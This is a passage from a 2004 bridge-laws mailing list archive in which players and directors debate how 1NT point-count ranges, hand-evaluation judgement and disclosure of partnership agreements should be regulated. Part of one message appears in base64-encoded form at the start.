dG8gZXhwbGFpbiBqdWRnbWVudCB1c2luZyB0aGUgDQpzYW1lIGluZm9ybWF0aW9uIHRoYXQgaXMg YXZhaWxhYmxlIHRvIGFueSBlc3RhYmxpc2hlZCBwYXJ0bmVyc2hpcDogdGhlIA0KY29ycHVzIG9m IGhhbmRzIHRoYXQgdGhpcyBwYXJ0bmVyc2hpcCBoYXMgYmlkIHByZXZpb3VzbHkuICBJZiBJIG9w ZW4gMU5UIA0KcGxheWluZyBNT1NDSVRPIHZhcmlhbnQgMTEuYywgdGhlIGJlc3QgZGVzY3JpcHRp b24gb2YgdGhlIGJvdW5kYXJ5IA0KY29uZGl0aW9ucyBmb3IgdGhpcyAxTlQgb3BlbmluZyBpcyB0 aGUgc2V0IG9mIGFsbCBoYW5kcyB0aGF0IEkgcHJldmlvdXNseSANCmNob3NlIHRvIG9wZW4gMU5U IHBsYXlpbmcgTU9TQ0lUTyB2YXJpYW50IDExLmMuICBbT2J2aW91c2x5LCB0aGlzIGFzc3VtZXMg DQp0aGF0IGFyZSBhIHN1ZmZpY2llbnQgbnVtYmVyIG9mIGV4YW1wbGUgaGFuZHMgdG8gY29uc3Rp dHV0ZSBhIA0KcmVwcmVzZW50YXRpdmUgc2FtcGxlXQ0KDQpOZWVkbGVzcyB0byBzYXksIGJlaW5n IGhhbmRlZCBhIGRhdGFiYXNlIHdpdGggMTAwIGV4YW1wbGVzIG9mIGEgMU5UIA0Kb3BlbmluZyBp c27igJl0IGdvaW5nIHRvIGRvIHBsYXllcnMgdmVyeSBtdWNoIGdvb2QuICBJIGNlcnRhaW5seSBo YXZlIG5vIA0KYWJpbGl0eSB0byBhc3NpbWlsYXRlIHRoaXMgaW5mb3JtYXRpb24gcXVpY2tseS4g IEhvd2V2ZXIsIEkgd291bGQgZmluZCBpdCANCnZlcnkgdXNlZnVsIHRvIGJlIGFibGUgdG8gbG9v ayBhdCBhIHNldCBvZiBzdW1tYXJ5IHN0YXRpc3RpY3MuICBGb3IgDQpleGFtcGxlLCBJIG1pZ2h0 IGZpbmQgaXQgdmVyeSBoZWxwZnVsIHRvIGhhdmUgYSBmcmVxdWVuY3kgZGlzdHJpYnV0aW9uIA0K cGxvdHRpbmcgdGhlIEstUiBhZGp1c3RlZCBwb2ludCBjb3VudC4NCg0KSSBhcmd1ZSB0aGF0IGEg cGFydG5lcnNoaXAgaXMgb2JsaWdlZCB0byBwcm92aWRlIHRoZSBvcHBvbmVudHMgd2l0aCB0aGUg DQpjb3JwdXMgb2YgaGFuZHMgd2hpbGUgdGhlIG9wcG9zaW5nIHBhcnRuZXJzaGlwIGlzIG9ibGln ZWQgdG8gZGVmaW5lIA0KbWV0aG9kcyB0byBhcHByb3ByaWF0ZWx5IGFzc2ltaWxhdGUgdGhpcyBp bmZvcm1hdGlvbi4gIElmIEkgd2FudCB0byBiZSBhIA0K4oCcV2FscnVz4oCdIGFuZCB1c2UgYSBz aW1wbGUgbWV0cmljIGxpa2UgSENQIHRvIGV2YWx1YXRlIG15IG9wcG9uZW504oCZcyANCmp1ZGdt ZW50IGFib3V0IGhhbmRzLCBJIGFtIHdlbGNvbWUgdG8gZG8gc28uICBBbHRlcm5hdGl2ZWx5LCBp ZiBJIHdhbnQgdG8gDQphZG9wdCBhIG1vcmUgY29tcGxleCBldmFsdWF0aW9uIGNyaXRlcmlhLCBt b3JlIHBvd2VyIHRvIG1lLg0KDQpJIGFtIHN1cmUgdGhhdCBieSBub3csIHRoZSBtYWpvcml0eSBv ZiBmb2xrcyBoYXMgdHVuZWQgb3V0IGZyb20gdGhpcyBwb3N0LCANCnByb2JhYmx5IGFzc3VtaW5n IHRoYXQgUmljaGFyZCBpcyBmbG9hdGluZyBvZmYgaW4gdGhlIGxhbmQgb2YgdGhlIFN1Z2FyIA0K UGx1bSBGYWlyaWVzIHN1cnJvdW5kZWQgYnkgdmlzaW9ucyBvZiBIeXBlcnRleHQgY29udmVudGlv bnMgY2FyZHMgYW5kIHdoYXQgDQphbGwuICBIb3dldmVyLCBmb3IgYmV0dGVyIG9yIHdvcnNlIEkg dGhpbmsgdGhhdCB0aGlzIGlzIGEgdmVyeSBpbXBvcnRhbnQgDQpkaXNjdXNzaW9uIHRvIGhhdmUu ICBUaGUgcGh5c2ljYWwvZmFjZSB0byBmYWNlIGdhbWUgb2YgYnJpZGdlIHRoYXQgd2UgYWxsIA0K bGVhcm5lZCBpcyByYXBpZGx5IGJlaW5nIHN1cHBsYW50ZWQuICBCcmlkZ2UgQmFzZSBPbmxpbmUg bm93IGhhcyB3ZWxsIG92ZXIgDQoxMDAsMDAwIG1lbWJlcnMuICBCZWZvcmUgdGhlIGVuZCBvZiB0 aGUgeWVhciwgQkJP4oCZcyBtZW1iZXJzaGlwIHNob3VsZCBoYXZlIA0KZWNsaXBzZWQgdGhhdCBv ZiB0aGUgQUNCTC4gIFJlbGF0aXZlbHkgc29vbiwgYW4gYXZlcmFnZSBkYXkgb24gYSBzaXRlIGxp a2UgDQpCQk8gd2lsbCBoYXZlIG1vcmUgdGFibGVzIGluIHBsYXkgdGhhbiB0aGUgQUNCTCBOYXRp b25hbHMuICBJdCBpcyBvbmx5IGEgDQptYXR0ZXIgb2YgdGltZSBiZWZvcmUgbWFqb3IgZXZlbnRz IGxpa2UgdGhlIEJlcm11ZGEgQm93bCBhcmUgY29uZHVjdGVkIA0KdXNpbmcgYW4gZWxlY3Ryb25p YyBwbGF5aW5nIGVudmlyb25tZW50Lg0KDQpCcmlkZ2UgcmVndWxhdG9ycyBuZWVkIHRvIHVuZGVy c3RhbmQgdGhhdCB0aGUgZWxlY3Ryb25pYyB2ZXJzaW9uIG9mIHRoZSANCmdhbWUgaXMgcmFwaWRs eSBlbWVyZ2luZyBhcyB0aGUgZG9taW5hbnQgZm9ybSBmb3IgYm90aCBjb21wZXRpdGl2ZSBhbmQg DQpzb2NpYWwgYnJpZGdlLiAgSW4gdHVybiwgdGhpcyBzaG91bGQgZm9yY2Ugc2lnbmlmaWNhbnQg Y2hhbmdlcyB0byB0aGUgDQpyZWd1bGF0b3J5IHN0cnVjdHVyZXMuICBFbGVjdHJvbmljIEJyaWRn ZSBwcmVzZW50cyBhIHdvcmxkIG9mIA0Kb3Bwb3J0dW5pdGllcyB0byBpbXByb3ZlIG9wcG9ydHVu aXRpZXMgZm9yIGZ1bGwgZGlzY2xvc3VyZSBvZiBtZXRob2RzLiAgSWYgDQpvcmdhbml6YXRpb25z IGxpa2UgdGhlIFdCRiBvciBBQ0JMIHdpc2ggdG8gcmVtYWluIHJlbGV2YW50IGluIHRoaXMgYnJh dmUgDQpuZXcgd29ybGQsIHRoZW4gdGhleSBuZWVkIHRvIGdyYXNwIHRoZSBidWxsIGJ5IHRoZSBo b3JucyBhbmQgYmVnaW4gdG8gZ2l2ZSANCnNlcmlvdXMgY29uc2lkZXJhdGlvbiB0byB0aGUgbmV3 IGR5bmFtaWNzLg0KDQoNCiANClJpY2hhcmQgV2lsbGV5DQoNClN0cmF0ZWdpYyBNYXJrZXRpbmcN ClN5bWFudGVjIENvcnBvcmF0aW9uDQpPZmZpY2U6DQooNDA4KSA1MTctNzc0MA0KSW50ZXJvZmZp Y2U6IA0KNiBbNDA4XSA3NzQwDQpNb2JpbGU6DQooNDA4KSA0MTAtNzExMg0KOiANCkhhaWwgQW50 cw0KDQoNCg0K From blml@blakjak.com Thu Jan 8 15:57:46 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 8 Jan 2004 15:57:46 +0000 Subject: [blml] Range restrictions In-Reply-To: <003101c3d5d1$0128fb50$ae81b6d4@LNV> References: <000001c3d569$4edbb5d0$b2ce36d2@Desktop> <003101c3d5d1$0128fb50$ae81b6d4@LNV> Message-ID: Ton Kooijman wrote > >Wayne: > >> I do not agree. >> >> The regulations should not legislate for 'good' judgement and against >> 'bad' judgement. >> >> Therefore if another player says that I considered that my ... >> >> QJ2 >> Q32 >> K32 >> J432 >> >> falls within the range 12-14 then you must also accept that players >> 'inferior' judgement. >> >> Wayne > >I really don't understand what you are trying to say. >Of course a TD has the duty to weigh the arguments players use for their >'irregular' actions >taken. And if a player values a lousy 11 count (I assume you forgot a couple >of jacks) as belonging within the range of 12-14 he misinforms his opponents >about the system he is playing. >You don't seem to understand the kernel of the issue. It seems to me that Wayne is saying that if we accept judgement as part of bridge then we must accept the player's own judgement. But I do not agree with him. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu Jan 8 17:05:27 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 8 Jan 2004 17:05:27 +0000 Subject: [blml] Range Restrictions In-Reply-To: References: Message-ID: Richard Willey wrote >After a further week watching this debate, I would like to revisit a >proposal that met with resounding indifference: How should an established >partnership describe their agreements to other pairs. [As usual, I am >predominately concerned with Online Bridge using an electronic playing >environment. Please note: I am primarily interested in describing >partnership agreements rather than regulating them] > >I argue that any metric or algorithm that attempts to summarize a topic as >complex as hand evaluation is bound to fail. Forcing players to describe >their agreements using any arbitrary standard, regardless of whether it >happens to be Milton Work’s High Card Points or Kaplan-Ruben’s adjusted >point count or whatever will encounter constant problems. All of the >arguments that we are currently seeing about “judgment†are an excellent >example of this principle at work. > >From my perspective, it would be much better to explain judgment using the >same information that is available to any established partnership: the >corpus of hands that this partnership has bid previously. If I open 1NT >playing MOSCITO variant 11.c, the best description of the boundary >conditions for this 1NT opening is the set of all hands that I previously >chose to open 1NT playing MOSCITO variant 11.c. [Obviously, this assumes >that are a sufficient number of example hands to constitute a >representative sample] > >Needless to say, being handed a database with 100 examples of a 1NT >opening isn’t going to do players very much good. I certainly have no >ability to assimilate this information quickly. However, I would find it >very useful to be able to look at a set of summary statistics. For >example, I might find it very helpful to have a frequency distribution >plotting the K-R adjusted point count. > >I argue that a partnership is obliged to provide the opponents with the >corpus of hands while the opposing partnership is obliged to define >methods to appropriately assimilate this information. If I want to be a >“Walrus†and use a simple metric like HCP to evaluate my opponent’s >judgment about hands, I am welcome to do so. Alternatively, if I want to >adopt a more complex evaluation criteria, more power to me. > >I am sure that by now, the majority of folks has tuned out from this post, >probably assuming that Richard is floating off in the land of the Sugar >Plum Fairies surrounded by visions of Hypertext conventions cards and what >all. However, for better or worse I think that this is a very important >discussion to have. The physical/face to face game of bridge that we all >learned is rapidly being supplanted. Bridge Base Online now has well over >100,000 members. Before the end of the year, BBO’s membership should have >eclipsed that of the ACBL. Relatively soon, an average day on a site like >BBO will have more tables in play than the ACBL Nationals. It is only a >matter of time before major events like the Bermuda Bowl are conducted >using an electronic playing environment. My own experience of people who foretell the future [especially people who are confident about it] is that their accuracy tends to be abysmally low, so I am not convinced by your Brave New World. However, that is no reason not to consider some of your arguments. >Bridge regulators need to understand that the electronic version of the >game is rapidly emerging as the dominant form for both competitive and >social bridge. In turn, this should force significant changes to the >regulatory structures. Electronic Bridge presents a world of >opportunities to improve opportunities for full disclosure of methods. If >organizations like the WBF or ACBL wish to remain relevant in this brave >new world, then they need to grasp the bull by the horns and begin to give >serious consideration to the new dynamics. I don't like it. If you go down this path then I think that OLB will also turn in a downwards direction. The best disclosure in bridge is not Full, which is nearly impossible, and remarkably unhelpful if it were possible; but Adequate. If I ask what your opening 1NT is then I want to know it in general terms in 99% of cases, and can ask a supplementary question in the 1% of cases. Thus a simplistic answer is helpful in the first case. Even in the 1% of cases, I usually want to know something specific, which is one of the main advantages of questions over CCs. Complex answers, or very very complex answers based on databases, are just unhelpful, and do not promote the game of bridge. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From hermandw@hdw.be Thu Jan 8 17:24:22 2004 From: hermandw@hdw.be (Herman De Wael) Date: Thu, 08 Jan 2004 18:24:22 +0100 Subject: [blml] Range restrictions In-Reply-To: <5.2.0.9.0.20040108081547.01fc71a0@pop.starpower.net> References: <003401c3d5d1$02146cc0$ae81b6d4@LNV> <007001c3d521$b2b158f0$c383b6d4@LNV> <3FFC104A.8090302@hdw.be> <009401c3d538$abf59870$c383b6d4@LNV> <3FFC5D19.5070404@hdw.be> <002c01c3d560$2f10c230$6bf8f0c3@LNV> <3FFD0927.6070907@hdw.be> <003401c3d5d1$02146cc0$ae81b6d4@LNV> <5.2.0.9.0.20040108081547.01fc71a0@pop.starpower.net> Message-ID: <3FFD9246.5040604@hdw.be> Granted, Eric, but: Eric Landau wrote: > At 07:32 AM 1/8/04, Herman wrote: > >> You seem to be writing a regulation that says : "you are not allowed >> to play a system by which you systematically open 1NT on a hand that >> does not have 12HCP or an equivalent value". >> It is this "equivalent" that I have trouble with. It is badly defined, >> and as a regulation, that is a problem we can do without. > > > We all have trouble with "equivalent". But that's the point. Some of > us have less trouble with it than others. We call those folks "expert > bidders". The ability to judge what consistitutes "equivalence" to some > agreed range of HCP is one of the skills that separates better players > from poorer ones. That's what competitive play is about, and we > shouldn't want to have regulations that take a key aspect of the > differentiation of levels of bridge skill out of the game. > but why should an expert have the edge over a non-expert on a matter of regulation? An expert would be allowed to open some hand, where a non-expert needs to have expert advice in order not to knnow whether or not it is wise to open such a hand, but whether or not it is allowed! Look at the difference between the regulations such as I and Ton interpret them. In my regulation, there is no mention of "equivalent", in Ton's there is. In my regulation, you are not allowed to open with less than 12. In Ton's regulation, you are not allowed to open with less than 11.8. Why should Ton's regulation be any better than mine? Most people who are annoyed with the regulation want to be able to open on 11.2 anyway! > > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From mustikka@charter.net Thu Jan 8 18:08:26 2004 From: mustikka@charter.net (Raija Davis) Date: Thu, 8 Jan 2004 10:08:26 -0800 Subject: Fw: [blml] Range restrictions Message-ID: <004101c3d612$6ab889a0$9865fea9@hewlettnvdluy3> Oops, I sent this in error to Herman only. Wanted to participate in the discussion at blml, here it is. ----- Original Message ----- From: "Raija Davis" To: "Herman De Wael" Sent: Thursday, January 08, 2004 10:06 AM Subject: Re: [blml] Range restrictions > > ----- Original Message ----- > From: "Herman De Wael" > To: "blml" > Sent: Thursday, January 08, 2004 9:24 AM > Subject: Re: [blml] Range restrictions > > > > Granted, Eric, but: > > > > Eric Landau wrote: > > > > > At 07:32 AM 1/8/04, Herman wrote: > > > > > >> You seem to be writing a regulation that says : "you are not allowed > > >> to play a system by which you systematically open 1NT on a hand that > > >> does not have 12HCP or an equivalent value". > > >> It is this "equivalent" that I have trouble with. It is badly defined, > > >> and as a regulation, that is a problem we can do without. > > > > > > > > > We all have trouble with "equivalent". But that's the point. Some of > > > us have less trouble with it than others. We call those folks "expert > > > bidders". The ability to judge what consistitutes "equivalence" to some > > > agreed range of HCP is one of the skills that separates better players > > > from poorer ones. That's what competitive play is about, and we > > > shouldn't want to have regulations that take a key aspect of the > > > differentiation of levels of bridge skill out of the game. > > > > > > > but why should an expert have the edge over a non-expert on a matter > > of regulation? An expert would be allowed to open some hand, where a > > non-expert needs to have expert advice in order not to knnow whether > > or not it is wise to open such a hand, but whether or not it is allowed! > > > > Look at the difference between the regulations such as I and Ton > > interpret them. In my regulation, there is no mention of "equivalent", > > in Ton's there is. > > > > In my regulation, you are not allowed to open with less than 12. > > In Ton's regulation, you are not allowed to open with less than 11.8. > > > > Why should Ton's regulation be any better than mine? > > > > Most people who are annoyed with the regulation want to be able to > > open on 11.2 anyway! > > As a sideline, regarding those who want to open 10 or 11 point hands as a > *12-14* 1NT - it is not even always judgment they are exercising over the > hand they hold. They may also exercise judgment over who the opponents are > and be counting on bad defense from certain people, ie they would never open > this 11 count opposite expert opponents but would do so opposite poor > players. This sort of "hand evaluation" does happen, whether one admits to > it or not, and cannot be regulated (not that I am very fond of regulating > judgment at all) , but if a line is necessary, it has to be drawn somewhere > in a manner that is enforceable and HCP at least is measurable. > Raija Davis > > > > From cyaxares@lineone.net Thu Jan 8 19:27:37 2004 From: cyaxares@lineone.net (Grattan Endicott) Date: Thu, 8 Jan 2004 19:27:37 -0000 Subject: [blml] Range restrictions References: <007001c3d521$b2b158f0$c383b6d4@LNV> <005001c3d58a$ed120490$6347e150@endicott> <00e701c3d598$a06dc6c0$129468d5@tinyhrieuyik> Message-ID: <002101c3d61d$cb5ab160$ae49e150@endicott> Grattan Endicott To: Sent: Thursday, January 08, 2004 3:36 AM Subject: Re: [blml] Range restrictions > > [Grattan Endicott] > > Certainly a player can use judgement on a > > particular hand, but if he resorts to 'judgement' > > often enough for his partner to anticipate it then it > > has become his method, known to partner, the > > laws say it must be disclosed and the SO has the > > right, indeed the duty, to insist on it. > > [Nigel] > Only the most die-hard prevaricator will disagree with > your general proposition, Grattan. > > But please may we address the specific example, under > discussion. Suppose that *by agreement* you would always > open 1NT on an 11 count with good intermediates like... > AT98 AT98 K98 T9 > > Q1. After the auction 1N-3N, during the play, an > opponent asks about the requirements for your 1N > opening bid. Is it OK to reply 12-14 HCP? > +=+ Absolutely not OK. Add 'some elevens'. Opponent is entitled to know whether you play the point count strictly or judge to include some elevens/fifteens.+=+ > > Q2. Suppose that a successful defence is predicated on > declarer having only 11 HCP, so defenders play safe > instead, only to find that declarer has such a good > eleven count, after all. If a more aggressive defence > would succeed, should the TD give redress? > +=+ Not automatically. It may be judgement on the occasion, not habitual. He needs evidence of a concealed agreement, explicit or implicit, before he rushes to adjust the score. Of course, in time he, or colleagues, may be called more than once to the pair; then he and the partner are both well aware of the propensity - and each knows that the other knows. Or on the first occasion the player may say "I would always open such an eleven count" in which case the answer is "well, please put it on your CC" as the TD adjusts the score. ~ Grattan ~ +=+ From richard_willey@comcast.net Thu Jan 8 19:42:08 2004 From: richard_willey@comcast.net (richard_willey@comcast.net) Date: Thu, 08 Jan 2004 19:42:08 +0000 Subject: [blml] Range Restrictions Message-ID: <010820041942.10546.36cd@comcast.net> > The best disclosure in bridge is not Full, which is nearly impossible, > and remarkably unhelpful if it were possible; but Adequate. > > If I ask what your opening 1NT is then I want to know it in general > terms in 99% of cases, and can ask a supplementary question in the 1% of > cases. Thus a simplistic answer is helpful in the first case. > > Even in the 1% of cases, I usually want to know something specific, > which is one of the main advantages of questions over CCs. > > Complex answers, or very very complex answers based on databases, are > just unhelpful, and do not promote the game of bridge. > > -- > David Stevenson Bridge RTFLB Cats Railways /\ /\ > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > ICQ 20039682 bluejak on OKB =( + )= > Lawspage: http://blakjak.com/lws_menu.htm We'll have to agree to diaagree then. The existing regulatory structure represents an attempt to optimize regulations to a particular playing environment. If you shift the playing environment, it seems perfectly reasonable to change regulations. Computers are marvelously efficient at storing information and crunching data. It seems very strange not to take advantage of this power to solve some nagging problems. I agree completely that information overload could be a problem. Individuals such as David should be permitted to "turn off" data that they don't want. Regardless, this should not mean that other individuals can't take advantage of new opportunities. Case in point: David prefers to ask questions rather than to rely on Convention Cards. It is well know that asking questions introduces significant UI. Unless David choses to ask the same set of questions ever time a given auction occurs he is going to provide information to his partner. Luckily, Electronic Bridge allows David to ask questions without providing as much UI to partner. [There will still be noticable delays, but no one can be sure why this is occuring]. With this said and done, I still think that a Convention Card should be the primary source of information that David references. First: the convention card (or system file or whatever it evolved into) should be the ultimate arbitrator regarding a partnership's specific set of agreements. Second: Is is inefficient and introduces additional delays to force players to type out information that has already been recorded. From wayne.burrows@xtra.co.nz Thu Jan 8 19:46:08 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Fri, 9 Jan 2004 08:46:08 +1300 Subject: [blml] Range restrictions In-Reply-To: <009f01c3d5e1$2e86f420$ae81b6d4@LNV> Message-ID: <001901c3d620$106f4110$659637d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Ton Kooijman > Sent: Friday, 9 January 2004 12:06 a.m. > To: 'blml' > Subject: Re: [blml] Range restrictions > > > Wayne: > > > > And if another player values a 'good' 11 count as belonging > within the > > range of 12-14 he also misinforms his opponents. > > > > You see "one man's rock is another man's island". > > > > One player's lousy 11-count is another player's good 11-count. > > > > There is no universal agreement on how to judge a bridge hand. > > > > > You don't seem to understand the kernel of the issue. > > > > Maybe, maybe not. I understand the point I am trying to > make in this > > post > > and its predecessor. Do you understand? > > > I think I do; let me try to use another description. > > You think, with many others, that bridge hands can be > described accuretely > with the numbers 11, 12, 13 having an absolute meaning. I do not think that at all. > I think otherwise, given a limited life time and limited > amounts of paper > for most of us. I agree. However there is nothing in the regulations nor should there be that favours good judgement over poor judgement. Therefore if you believe that you judge hand A is better than hand B and I believe that hand B is better than hand A. We both should be allowed to exercise our own judgement. Wayne > > ton > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From wayne.burrows@xtra.co.nz Thu Jan 8 19:48:39 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Fri, 9 Jan 2004 08:48:39 +1300 Subject: [blml] Range restrictions In-Reply-To: <5.2.0.9.0.20040108081547.01fc71a0@pop.starpower.net> Message-ID: <001a01c3d620$6a287640$659637d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Eric Landau > Sent: Friday, 9 January 2004 1:22 a.m. > To: Bridge Laws Discussion List > Subject: Re: [blml] Range restrictions > > > At 07:32 AM 1/8/04, Herman wrote: > > >You seem to be writing a regulation that says : "you are not allowed > >to play a system by which you systematically open 1NT on a hand that > >does not have 12HCP or an equivalent value". > >It is this "equivalent" that I have trouble with. It is > badly defined, > >and as a regulation, that is a problem we can do without. > > We all have trouble with "equivalent". But that's the point. > Some of > us have less trouble with it than others. We call those > folks "expert > bidders". The ability to judge what consistitutes "equivalence" to > some agreed range of HCP is one of the skills that separates better > players from poorer ones. That's what competitive play is about, and > we shouldn't want to have regulations that take a key aspect of the > differentiation of levels of bridge skill out of the game. Absolutely!!! Wayne > > > Eric Landau ehaa@starpower.net > 1107 Dale Drive (301) 608-0347 > Silver Spring MD 20910-1607 Fax (301) 589-4618 > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From wayne.burrows@xtra.co.nz Thu Jan 8 19:52:55 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Fri, 9 Jan 2004 08:52:55 +1300 Subject: [blml] Range restrictions In-Reply-To: Message-ID: <001b01c3d621$029ffc90$659637d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of David Stevenson > Sent: Friday, 9 January 2004 3:58 a.m. > To: blml@rtflb.org > Subject: Re: [blml] Range restrictions > > > Ton Kooijman wrote > > > >Wayne: > > > >> I do not agree. > >> > >> The regulations should not legislate for 'good' judgement > and against > >> 'bad' judgement. > >> > >> Therefore if another player says that I considered that my ... > >> > >> QJ2 > >> Q32 > >> K32 > >> J432 > >> > >> falls within the range 12-14 then you must also accept that players > >> 'inferior' judgement. > >> > >> Wayne > > > >I really don't understand what you are trying to say. > >Of course a TD has the duty to weigh the arguments players > use for their > >'irregular' actions > >taken. And if a player values a lousy 11 count (I assume you > forgot a couple > >of jacks) as belonging within the range of 12-14 he > misinforms his opponents > >about the system he is playing. > >You don't seem to understand the kernel of the issue. > > It seems to me that Wayne is saying that if we accept judgement as > part of bridge then we must accept the player's own > judgement. But I do > not agree with him. Are you saying we shouldn't exercise judgement or that we should only accept mainstream judgement? Wayne > > -- > David Stevenson Bridge RTFLB Cats Railways /\ /\ > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > ICQ 20039682 bluejak on > OKB =( + )= > Lawspage: http://blakjak.com/lws_menu.htm ~ > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From wayne.burrows@xtra.co.nz Thu Jan 8 19:59:02 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Fri, 9 Jan 2004 08:59:02 +1300 Subject: [blml] Range restrictions In-Reply-To: <002101c3d61d$cb5ab160$ae49e150@endicott> Message-ID: <001c01c3d621$dee6ac30$659637d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Grattan Endicott > Sent: Friday, 9 January 2004 7:28 a.m. > To: blml@rtflb.org > Subject: Re: [blml] Range restrictions > > > > Grattan Endicott (also grandeval@vejez.fsnet.co.uk > and gesta@tiscali.co.uk) > ++++++++++++++++++++++++++++++++++ > 'committee' : (Law, chiefly US) a person judicially > committed into care because of insanity or mental > retardation. > ================================== > > ----- Original Message ----- > From: "Nigel Guthrie" > To: > Sent: Thursday, January 08, 2004 3:36 AM > Subject: Re: [blml] Range restrictions > > > > > [Grattan Endicott] > > > Certainly a player can use judgement on a > > > particular hand, but if he resorts to 'judgement' > > > often enough for his partner to anticipate it then it > > > has become his method, known to partner, the > > > laws say it must be disclosed and the SO has the > > > right, indeed the duty, to insist on it. > > > > [Nigel] > > Only the most die-hard prevaricator will disagree with > > your general proposition, Grattan. > > > > But please may we address the specific example, under > > discussion. Suppose that *by agreement* you would always > > open 1NT on an 11 count with good intermediates like... > > AT98 AT98 K98 T9 > > > > Q1. After the auction 1N-3N, during the play, an > > opponent asks about the requirements for your 1N > > opening bid. Is it OK to reply 12-14 HCP? > > > +=+ Absolutely not OK. Add 'some elevens'. Opponent > is entitled to know whether you play the point count > strictly or judge to include some elevens/fifteens.+=+ > > > > Q2. Suppose that a successful defence is predicated on > > declarer having only 11 HCP, so defenders play safe > > instead, only to find that declarer has such a good > > eleven count, after all. If a more aggressive defence > > would succeed, should the TD give redress? > > > +=+ Not automatically. It may be judgement on the > occasion, not habitual. He needs evidence of a > concealed agreement, explicit or implicit, before > he rushes to adjust the score. Of course, in time > he, or colleagues, may be called more than once to > the pair; then he and the partner are both well aware > of the propensity - and each knows that the other > knows. Or on the first occasion the player may say > "I would always open such an eleven count" in > which case the answer is "well, please put it on your > CC" as the TD adjusts the score. I disagree with this. Because one member of a partnership will always open 'such an eleven count' does not necessarily make it part of the partnership's agreements that must be disclosed on the convention card. It maybe part of that player's judgement and style. Information that is not part of your partnership agreement but is part of your partnership experience is to be disclosed in answer to a question. Wayne > ~ Grattan ~ +=+ > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From grandeval@vejez.fsnet.co.uk Thu Jan 8 20:39:24 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Thu, 8 Jan 2004 20:39:24 -0000 Subject: [blml] Range restrictions References: <001c01c3d621$dee6ac30$659637d2@Desktop> Message-ID: <002101c3d627$9e080460$d47187d9@4nrw70j> Grattan Endicott To: Sent: Thursday, January 08, 2004 7:59 PM Subject: RE: [blml] Range restrictions > > > > -----Original Message----- > > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > > Behalf Of Grattan Endicott > > Sent: Friday, 9 January 2004 7:28 a.m. > > To: blml@rtflb.org > > Subject: Re: [blml] Range restrictions > > > > > > > +=+ Not automatically. It may be judgement on the > > occasion, not habitual. He needs evidence of a > > concealed agreement, explicit or implicit, before > > he rushes to adjust the score. Of course, in time > > he, or colleagues, may be called more than once to > > the pair; then he and the partner are both well aware > > of the propensity - and each knows that the other > > knows. Or on the first occasion the player may say > > "I would always open such an eleven count" in > > which case the answer is "well, please put it on your > > CC" as the TD adjusts the score. > > I disagree with this. > > Because one member of a partnership will always open 'such > an eleven count' does not necessarily make it part of the > partnership's agreements that must be disclosed on the > convention card. > +=+ Go back to the question. It was a premise that the method was one of partnership agreement. +=+ From richard.hills@immi.gov.au Thu Jan 8 22:22:37 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 9 Jan 2004 08:22:37 +1000 Subject: [blml] Triumphs (was Range restrictions) Message-ID: Herman De Wael: >>>Did you not use the Ozymandias parallel to refer to >>>me a few weeks ago, Richard? >>> >>>I feel deeply offended that you would suggest I have >>>played unethically in winning Australian national >>>honours ! >>> >>>;-) Wayne Burrows: >>Which national honours did you win unethically? >> >>;-) Herman De Wael: >all of them ! Richard James Hills: Giving that Herman has publicly withdrawn his earlier inadvertent implication that a fellow blmler was unethical, I publicly withdraw the application of my ultimate insult "Ozymandias" to Herman. Instead, I show my personal affection towards Herman by bestowing upon him the sobriquet "Tigger". :-) Best wishes Eeyore -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From wayne.burrows@xtra.co.nz Thu Jan 8 21:52:16 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Fri, 9 Jan 2004 10:52:16 +1300 Subject: [blml] Range restrictions In-Reply-To: <002101c3d627$9e080460$d47187d9@4nrw70j> Message-ID: <000301c3d631$af2efe60$11e436d2@Desktop> > -----Original Message----- > From: grandeval [mailto:grandeval@vejez.fsnet.co.uk] > Sent: Friday, 9 January 2004 8:39 a.m. > To: Wayne Burrows; blml@rtflb.org > Subject: Re: [blml] Range restrictions > > > > Grattan Endicott [alternatively gesta@tiscali.co.uk] > ============================== > "We could not have had a better dinner > had there been a Synod of Cooks." > ~ Samuel Johnson. > +++++++++++++++++++++++++++++++ > ----- Original Message ----- > From: "Wayne Burrows" 